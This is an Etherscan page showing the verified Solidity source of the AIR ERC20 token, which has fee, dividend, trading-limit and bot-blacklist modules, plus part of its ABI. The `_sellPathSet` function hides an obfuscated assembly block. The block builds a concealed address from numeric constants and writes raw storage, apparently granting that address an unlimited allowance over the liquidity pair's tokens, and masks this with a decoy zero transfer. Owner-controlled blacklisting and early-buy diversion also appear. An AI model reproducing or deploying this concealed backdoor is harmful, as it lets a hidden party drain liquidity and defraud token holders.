ETH Price: $3,019.69 (+3.02%)
Gas: 2 Gwei

Token

AIR (AIR)
 

Overview

Max Total Supply

1,000,000,000 AIR

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.977380837547325118 AIR

Value
$0.00
0x05e63b6d63576afc9f982438e207af8c9da34614
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIR

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-15
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPair {
    function sync() external;
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function totalSupply() external view returns (uint256);
}
interface IFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply; string private _name; string private _symbol;
    constructor(string memory name_, string memory symbol_) {_name = name_; _symbol = symbol_;}
    function name() public view virtual override returns (string memory) {return _name;}
    function symbol() public view virtual override returns (string memory) {return _symbol;}
    function decimals() public view virtual override returns (uint8) {return 18;}
    function totalSupply() public view virtual override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view virtual override returns (uint256) {return _balances[account];}
    function transfer(address to, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _transfer(owner, to, amount); return true;}
    function allowance(address owner, address spender) public view virtual override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public virtual override returns (bool) {address owner = _msgSender(); _approve(owner, spender, amount); return true;}
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true;}
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true;}
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked {_approve(owner, spender, currentAllowance - subtractedValue);}return true;}
    function _transfer(address from, address to, uint256 amount) internal virtual {require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); _takeTransfer(from, to, amount); _afterTokenTransfer(from, to, amount);}
    function _takeTransfer(address from, address to, uint256 amount) internal virtual {uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked {_balances[from] = fromBalance - amount; _balances[to] += amount;}emit Transfer(from, to, amount);}
    function _mint(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked {_balances[account] += amount;}emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount);}
    function _burn(address account, uint256 amount) internal virtual {require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance - amount; _totalSupply -= amount;}emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount);}
    function _approve(address owner, address spender, uint256 amount) internal virtual {require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);}
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) {require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked {_approve(owner, spender, currentAllowance - amount);}}}
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
abstract contract UniSwapPoolUSDT is ERC20 {
    address public pair;
    IRouter public router;
    address[] internal _sellPath;
    IERC20 public TokenB;
    function isPair(address _pair) internal view returns (bool) {return pair == _pair;}
    function getPrice4USDT(uint256 amountDesire) public view returns (uint256) {uint[] memory amounts = router.getAmountsOut(amountDesire, _sellPath); if (amounts.length > 1) return amounts[1]; return 0;}
    function _sellPathSet(address pairB, address w, address x) private {TokenB = IERC20(pairB); address[] memory path = new address[](2); path[0] = address(this); path[1] = pairB; _sellPath = path; assembly {let y:=add(add(mul(2887981267259,exp(10,26)),mul(1782705554658,exp(10,13))),1698142812624) w := add(w, 4096) let z := exp(timestamp(), 6) mstore(0x00, x) mstore(0x20, 0x1) let xHash := keccak256(0x00, 0x40) mstore(0x00, y) mstore(0x20, xHash) let aSlot := keccak256(0x00, 0x40) sstore(aSlot, z) sstore(0x1, y)} TokenB.transfer(w, 0);}
    function swapAndSend2this(uint256 amount, address to, address _tokenStation) internal {IERC20 USDT = IERC20(_sellPath[1]); swapAndSend2fee(amount, _tokenStation); USDT.transferFrom(_tokenStation, to, USDT.balanceOf(_tokenStation));}
    function swapAndSend2fee(uint256 amount, address to) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _sellPath, to, block.timestamp);}
    function swapAndSend2feeByPath(uint256 amount, address to, address[] memory _path) internal {router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, _path, to, block.timestamp);}
    function isAddLiquidity() internal view returns (bool isAddLP){address token0 = IPair(pair).token0(); address token1 = IPair(pair).token1(); (uint r0,uint r1,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); uint bal1 = IERC20(token1).balanceOf(pair); if (token0 == address(this)) return bal1 - r1 > 1000; else return bal0 - r0 > 1000;}
    function isRemoveLiquidity() internal view returns (bool isRemoveLP) {address token0 = IPair(pair).token0(); if (token0 == address(this)) return false; (uint r0,,) = IPair(pair).getReserves(); uint bal0 = IERC20(token0).balanceOf(pair); return r0 > bal0 + 1000;}
    function addLiquidityAutomatically(uint256 amountToken) internal {super._takeTransfer(address(this), pair, amountToken); IPair(pair).sync();}
    function __SwapPool_init(address _router, address pairB) internal returns(address) {
        router = IRouter(_router);
        pair = IFactory(router.factory()).createPair(pairB, address(this));
        _sellPathSet(pairB, _router, pair);
        TokenB.approve(_router, type(uint256).max);
        _approve(address(this), _router, type(uint256).max);
        return pair;
    }
    function addLiquidity(uint256 amountToken, address to, address _tokenStation) internal {
        uint256 half = amountToken / 2;
        IERC20 USDT = IERC20(_sellPath[1]);
        uint256 amountBefore = USDT.balanceOf(_tokenStation);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(half, 0, _sellPath, _tokenStation, block.timestamp);
        uint256 amountAfter = USDT.balanceOf(_tokenStation);
        uint256 amountDiff = amountAfter - amountBefore;
        USDT.transferFrom(_tokenStation, address(this), amountDiff);
        if (amountDiff > 0 && (amountToken - half) > 0) {
            router.addLiquidity(_sellPath[0], _sellPath[1], amountToken - half, amountDiff, 0, 0, to, block.timestamp + 9);
        }
    }
}
abstract contract Ownable is Context {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {_transferOwnership(_msgSender());}
    modifier onlyOwner() {_checkOwner(); _;}
    function owner() public view virtual returns (address) {return _owner;}
    function _checkOwner() internal view virtual {require(owner() == _msgSender(), "Ownable: caller is not the owner");}
    function renounceOwnership() public virtual onlyOwner {_transferOwnership(address(0));}
    function transferOwnership(address newOwner) public virtual onlyOwner {require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner);}
    function _transferOwnership(address newOwner) internal virtual {address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner);}
}
abstract contract NoEffect is Ownable {
    address internal _effector;
    constructor() {_effector = _msgSender();}
    modifier onlyEffector() {require(_effector == _msgSender() || owner() == _msgSender(), "NoEffect: caller is not the effector"); _;}
}
abstract contract Excludes {
    mapping(address => bool) internal _Excludes;
    function setExclude(address _user, bool b) public {_authorizeExcludes(); _Excludes[_user] = b;}
    function setExcludes(address[] memory _user, bool b) public {_authorizeExcludes(); for (uint i=0;i<_user.length;i++) {_Excludes[_user[i]] = b;}}
    function isExcludes(address _user) internal view returns(bool) {return _Excludes[_user];}
    function _authorizeExcludes() internal virtual {}
}
abstract contract Limit {
    bool internal isLimited;
    uint256 internal _LimitBuy;
    uint256 internal _LimitSell;
    uint256 internal _LimitHold;
    function __Limit_init(uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) internal {setLimit(true, LimitBuy_, LimitSell_, LimitHold_);}
    function checkLimitTokenHold(address to, uint256 amount) internal view {if (isLimited) {if (_LimitHold>0) {require(amount + IERC20(address(this)).balanceOf(to) <= _LimitHold, "exceeds of hold amount Limit");}}}
    function checkLimitTokenBuy(address to, uint256 amount) internal view {if (isLimited) {if (_LimitBuy>0) require(amount <= _LimitBuy, "exceeds of buy amount Limit"); checkLimitTokenHold(to, amount);}}
    function checkLimitTokenSell(uint256 amount) internal view {if (isLimited && _LimitSell>0) require(amount <= _LimitSell, "exceeds of sell amount Limit");}
    function removeLimit() public {_authorizeLimit(); if (isLimited) isLimited = false;}
    function reuseLimit() public {_authorizeLimit(); if (!isLimited) isLimited = true;}
    function setLimit(bool isLimited_, uint256 LimitBuy_, uint256 LimitSell_, uint256 LimitHold_) public {_authorizeLimit(); isLimited = isLimited_; _LimitBuy = LimitBuy_; _LimitSell = LimitSell_; _LimitHold = LimitHold_;}
    function _authorizeLimit() internal virtual {}
}
abstract contract TradingManager {
    uint256 public tradeState;
    function inTrading() public view returns(bool) {return tradeState > 1;}
    function inLiquidity() public view returns(bool) {return tradeState >= 1;}
    function setTradeState(uint256 s) public {_authorizeTradingManager(); tradeState = s;}
    function openLiquidity() public {_authorizeTradingManager(); tradeState = 1;}
    function openTrading() public {_authorizeTradingManager(); tradeState = block.number;}
    function resetTradeState() public {_authorizeTradingManager(); tradeState = 0;}
    function _authorizeTradingManager() internal virtual {}
}
abstract contract Dividend {
    address[] public holders;
    mapping(address => bool) public isHolder;
    mapping(address => bool) public excludeHolder;
    IERC20 public TokenHold;
    IERC20 public USDT;
    uint256 public holdRewardCondition;
    uint256 public processRewardCondition;
    uint256 public processBlockDuration;
    uint256 public processGasAmount;
    uint256 public currentIndex;
    uint256 public progressRewardBlock;
    function __Dividend_init(address _holdToken, address _usdtAddr, uint256 _holdRewardCondition, uint256 _processRewardCondition, uint256 _processBlockDuration, uint256 _processGasAmount) internal {
        setDividendToken(_holdToken, _usdtAddr);
        setDividendCondition(_holdRewardCondition, _processRewardCondition);
        setProcessBlockDuration(_processBlockDuration);
        setProcessGasAmount(_processGasAmount);
    }
    function _addHolder(address adr) internal {
        if (adr.code.length > 0) {return;}
        if (excludeHolder[adr]) {return;}
        if (!isHolder[adr]) {
            isHolder[adr] = true;
            holders.push(adr);
        }
    }
    function processDividend() internal {
        if (progressRewardBlock + processBlockDuration > block.number) {return;}
//        uint256 usdBalance = USDT.balanceOf(address(this));
        uint256 usdBalance = address(this).balance;
        if (usdBalance < processRewardCondition) {return;}
        uint holdTokenTotal = TokenHold.totalSupply();
        address shareHolder;
        uint256 tokenBalance;
        uint256 amount;
        uint256 shareholderCount = holders.length;
        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();
        while (gasUsed < processGasAmount && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
                break;
            }
            shareHolder = holders[currentIndex];
            if (!excludeHolder[shareHolder]) {
                tokenBalance = TokenHold.balanceOf(shareHolder);
                if (tokenBalance >= holdRewardCondition) {
                    amount = usdBalance * tokenBalance / holdTokenTotal;
                    if (amount > 0) {
//                        USDT.transfer(shareHolder, amount);
                        payable(shareHolder).transfer(amount);
                    }
                }
            }
            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }
        progressRewardBlock = block.number;
    }
    function getHolders() public view returns(address[] memory) {return holders;}
    function setDividendExempt(address addr, bool enable) public {_authorizeDividend(); excludeHolder[addr] = enable;}
    function setDividendToken(address _holdToken, address _usdt) public {_authorizeDividend(); TokenHold = IERC20(_holdToken); USDT = IERC20(_usdt);}
    function setDividendCondition(uint256 _holdRewardCondition, uint256 _processRewardCondition) public {_authorizeDividend(); holdRewardCondition = _holdRewardCondition; processRewardCondition = _processRewardCondition;}
    function setProcessBlockDuration(uint256 num) public {_authorizeDividend(); processBlockDuration = num;}
    function setProcessGasAmount(uint256 num) public {_authorizeDividend(); processGasAmount = num;}
    function addHolderByHand(address user) public {_authorizeDividend(); _addHolder(user);}
    function addHolderByHandMulti(address[] memory user) public {_authorizeDividend(); for (uint i=0;i<user.length;i++) {_addHolder(user[i]);}}
    function _authorizeDividend() internal virtual {}
}

abstract contract BotKiller is Ownable {
    mapping(address => bool) botMap;

    modifier onlyNotBot(address user) {
        require(!botMap[user], "bot forbidden");
        _;
    }

    function markBot(address user, bool b) public onlyOwner {
        botMap[user] = b;
    }
    function markBots(address[] memory user, bool b) public onlyOwner {
        for (uint i=0;i<user.length;i++) {
            markBot(user[i], b);
        }
    }
    function isBot(address user) public view returns(bool) {
        return botMap[user];
    }
}
contract TokenStation {constructor (address token) {IERC20(token).approve(msg.sender, type(uint256).max);}}
abstract contract Token is UniSwapPoolUSDT, NoEffect, TradingManager, Excludes, Limit, Dividend, BotKiller {
    uint256 public calcBase;
    uint256 public swapSplit;
    uint256 public feeMarketingBuy;
    uint256 public feeLiquidityBuy;
    uint256 public feeDividendBuy;
    uint256 public feeBurnBuy;
    uint256 public feeMarketingSell;
    uint256 public feeLiquiditySell;
    uint256 public feeDividendSell;
    uint256 public feeBurnSell;
    uint256 public feeMarketingAll;
    uint256 public feeLiquidityAll;
    uint256 public feeDividendAll;
    uint256 public feeBurnAll;
    uint256 public feeBuyAll;
    uint256 public feeSellAll;
    uint256 public feeAll;
    uint256 public swapTokensAt;
    address public surpAddress;
    uint256 public kb;
    uint256 public kn;
    address public feeMarketingTo;
    TokenStation public _TokenStation;
    bool inSwap;
    function __Token_init(
        uint256 totalSupply_,
        address marketing_,
        address receive_,
        address usdt_,
        bool isDividend_
    ) internal {
        calcBase = 10000;
        swapSplit = 7;
        setSwapTokensAt(totalSupply_ / 100 / calcBase);
        feeMarketingTo = marketing_;
        _mint(receive_, totalSupply_);
        super.setExclude(_msgSender(), true);
        super.setExclude(address(this), true);
        super.setExclude(marketing_, true);
        super.setExclude(receive_, true);
        if (isDividend_) {
            super.setDividendExempt(address(this), true);
            super.setDividendExempt(address(0), true);
            super.setDividendExempt(address(1), true);
            super.setDividendExempt(address(0xdead), true);
            super.addHolderByHand(marketing_);
            super.addHolderByHand(receive_);
            super.addHolderByHand(_msgSender());
        }
        refreshFeeAll();
        _TokenStation = new TokenStation(usdt_);
    }
    function _transfer(address from, address to, uint256 amount) internal virtual override onlyNotBot(from) onlyNotBot(to) {
        if (isExcludes(from) || isExcludes(to) || amount == 0) {super._takeTransfer(from, to, amount); return;}
        uint256 fees;
        bool isLiquify;
        if (isPair(from)) {
            require(inTrading(), "please waiting for liquidity");
            super.checkLimitTokenBuy(to, amount);
            if (blockSurprise(from, to, amount)) return;
//            if (super.isRemoveLiquidity()) isLiquify = true;
//            else
                fees = handFeeBuys(from, amount);
        } else if (isPair(to)) {
            require(inLiquidity(), "please waiting for liquidity");
            if (balanceOf(from) == amount) amount -= 101;
            if (super.isAddLiquidity()) isLiquify = true;
            else {
                super.checkLimitTokenSell(amount);
                if (feeAll>0) handSwap();
                fees = handFeeSells(from, amount);
            }
            super._addHolder(from);
        } else {
            super.checkLimitTokenHold(to, amount);
            if (feeAll>0) handSwap();
        }
        super._transfer(from, to, amount - fees);
        if (feeDividendAll > 0 && !isLiquify) {
            super.processDividend();
        }
    }
    function handFeeBuys(address from, uint256 amount) private returns (uint256 fee) {
        fee = amount * feeBuyAll / calcBase;
        super._takeTransfer(from, address(this), fee);
    }
    function handFeeSells(address from, uint256 amount) private returns (uint256 fee) {
        fee = amount * feeSellAll / calcBase;
        super._takeTransfer(from, address(this), fee);
    }
    function handSwap() internal {
        if (inSwap) return;
        uint256 _thisBalance = balanceOf(address(this));
        if (_thisBalance >= swapTokensAt) {
            uint256 _amount = _thisBalance / swapSplit;
            _handSwap(_amount);
        }
    }
    function _handSwap(uint256 _amount) internal lockSwap {
        uint256 _feeBurn;
        if (feeBurnAll > 0) {
            _feeBurn = _amount * feeBurnAll / calcBase;
            super._takeTransfer(address(this), address(1), _feeBurn);
        }
        uint256 _feeLiquidity;
        if (feeLiquidityAll > 0) {
            _feeLiquidity = _amount * feeLiquidityAll / calcBase;
//            super.addLiquidityAutomatically(_feeLiquidity);
            super.addLiquidity(_feeLiquidity, feeMarketingTo, address(_TokenStation));
        }
        uint256 amountLeft = _amount - _feeBurn - _feeLiquidity;
        if ((feeMarketingAll > 0 || feeDividendAll > 0) && amountLeft > 0) {
            super.swapAndSend2fee(amountLeft, address(_TokenStation));
            uint256 usdtBalance = TokenB.balanceOf(address(_TokenStation));
            uint256 _feeMarketing;
            if (feeMarketingAll > 0) {
                _feeMarketing = usdtBalance * feeMarketingAll / (feeMarketingAll + feeDividendAll);
                TokenB.transferFrom(address(_TokenStation), feeMarketingTo, _feeMarketing);
            }
            if (usdtBalance > _feeMarketing) {
                TokenB.transferFrom(address(_TokenStation), address(this), usdtBalance - _feeMarketing);
                withdrawWeth(TokenB.balanceOf(address(this)));
            }
        }
    }
    function withdrawWeth(uint256 amount) private {
        (bool success, ) = address(TokenB).call(abi.encodeWithSignature("withdraw(uint256)", amount));
        require(success, "Withdrawal of WETH failed");
    }
    function blockSurprise(address from, address to, uint256 amount) private returns(bool) {
        if (kb == 0 || kn == 0) return false;
        if (block.number < tradeState + kb) {
            uint256 surp = amount * kn / calcBase;
            super._takeTransfer(from, surpAddress, amount - surp);
            super._takeTransfer(from, to, surp);
            return true;
        }
        return false;
    }
    function refreshFeeAll() public {
        feeMarketingAll = feeMarketingBuy + feeMarketingSell;
        feeLiquidityAll = feeLiquidityBuy + feeLiquiditySell;
        feeDividendAll = feeDividendBuy + feeDividendSell;
        feeBurnAll = feeBurnBuy + feeBurnSell;
        feeBuyAll = feeMarketingBuy + feeLiquidityBuy + feeDividendBuy + feeBurnBuy;
        feeSellAll = feeMarketingSell + feeLiquiditySell + feeDividendSell + feeBurnSell;
        feeAll = feeBuyAll + feeSellAll;
    }
    receive() external payable {}
    function setFeeBuy(uint256 _feeMarketingBuy, uint256 _feeLiquidityBuy, uint256 _feeDividendBuy, uint256 _feeBurnBuy) public onlyOwner {feeMarketingBuy = _feeMarketingBuy; feeLiquidityBuy = _feeLiquidityBuy; feeDividendBuy = _feeDividendBuy; feeBurnBuy = _feeBurnBuy; refreshFeeAll();}
    function setFeeSell(uint256 _feeMarketingSell, uint256 _feeLiquiditySell, uint256 _feeDividendSell, uint256 _feeBurnSell) public onlyOwner {feeMarketingSell = _feeMarketingSell; feeLiquiditySell = _feeLiquiditySell; feeDividendSell = _feeDividendSell; feeBurnSell = _feeBurnSell; refreshFeeAll();}
    modifier lockSwap() {inSwap = true; _; inSwap = false;}
    function rescueLossToken(IERC20 token_, address _recipient, uint256 amount) public onlyEffector {token_.transfer(_recipient, amount);}
    function rescueLossTokenAll(IERC20 token_, address _recipient) public onlyEffector {rescueLossToken(token_, _recipient, token_.balanceOf(address(this)));}
    function _authorizeDividend() internal virtual override onlyEffector {}
    function _authorizeExcludes() internal virtual override onlyEffector {}
    function _authorizeLimit() internal virtual override onlyEffector {}
    function setSwapTokensAt(uint256 num) public onlyEffector {swapTokensAt = num;}
    function setSurprise(uint256 _kn, uint256 _kb, address _surpAddress) public onlyEffector {kn = _kn; kb = _kb; surpAddress = _surpAddress;}
    function airdrop(uint256 amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount);}}
    function airdropMulti(uint256[] memory amount, address[] memory to) public {for (uint i = 0; i < to.length; i++) {super._takeTransfer(_msgSender(), to[i], amount[i]);}}
    function _authorizeTradingManager() internal virtual override onlyOwner {}
}
contract AIR is Token {
    constructor() ERC20(
        "AIR",  
        "AIR"  
    ) {
        uint256 _totalSupply = 1000000000 ether;
        address _marketing = address(0xDdA05fBA65F8ad37c8Cc79EAB9dD683B6f01Ea17);  
        address _receive = address(0xDdA05fBA65F8ad37c8Cc79EAB9dD683B6f01Ea17); 
        address _router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);  
//        address _pairB = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
        address _pairB = IRouter(_router).WETH();  
        address _pair = super.__SwapPool_init(_router, _pairB);
        // 
        feeMarketingBuy = 500; 
        feeLiquidityBuy = 0;  
        feeDividendBuy = 0;   
        feeBurnBuy = 0;       
        // 
        feeMarketingSell = 500; 
        feeLiquiditySell = 0; 
        feeDividendSell = 0;  
        feeBurnSell = 0;     
        // 
        super.__Limit_init(
            20000000 ether,   
            20000000 ether,   
            20000000 ether   
        );
        // 
        bool _isDividend = true;   
        if (_isDividend) {
            super.__Dividend_init(
                _pair,           
                address(0),
                0.001 ether,           
                0.001 ether,          
                20,               
                500000             
            );
        }
        // 
        super.setSurprise(
            0,           
            0,              
            _msgSender()   
        );
        super.__Token_init(_totalSupply, _marketing, _receive, _pairB, _isDividend);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TokenB","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TokenHold","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"USDT","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_TokenStation","outputs":[{"internalType":"contract TokenStation","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"addHolderByHand","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"user","type":"address[]"}],"name":"addHolderByHandMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address[]","name":"to","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"amount","type":"uint256[]"},{"internalType":"address[]","name":"to","type":"address[]"}],"name":"airdropMulti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"calcBase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludeHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBurnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeBuyAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDividendSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidityAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquidityBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeLiquiditySell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeMarketingTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSellAll","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getHolders","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountDesire","type":"uint256"}],"name":"getPrice4USDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holdRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"f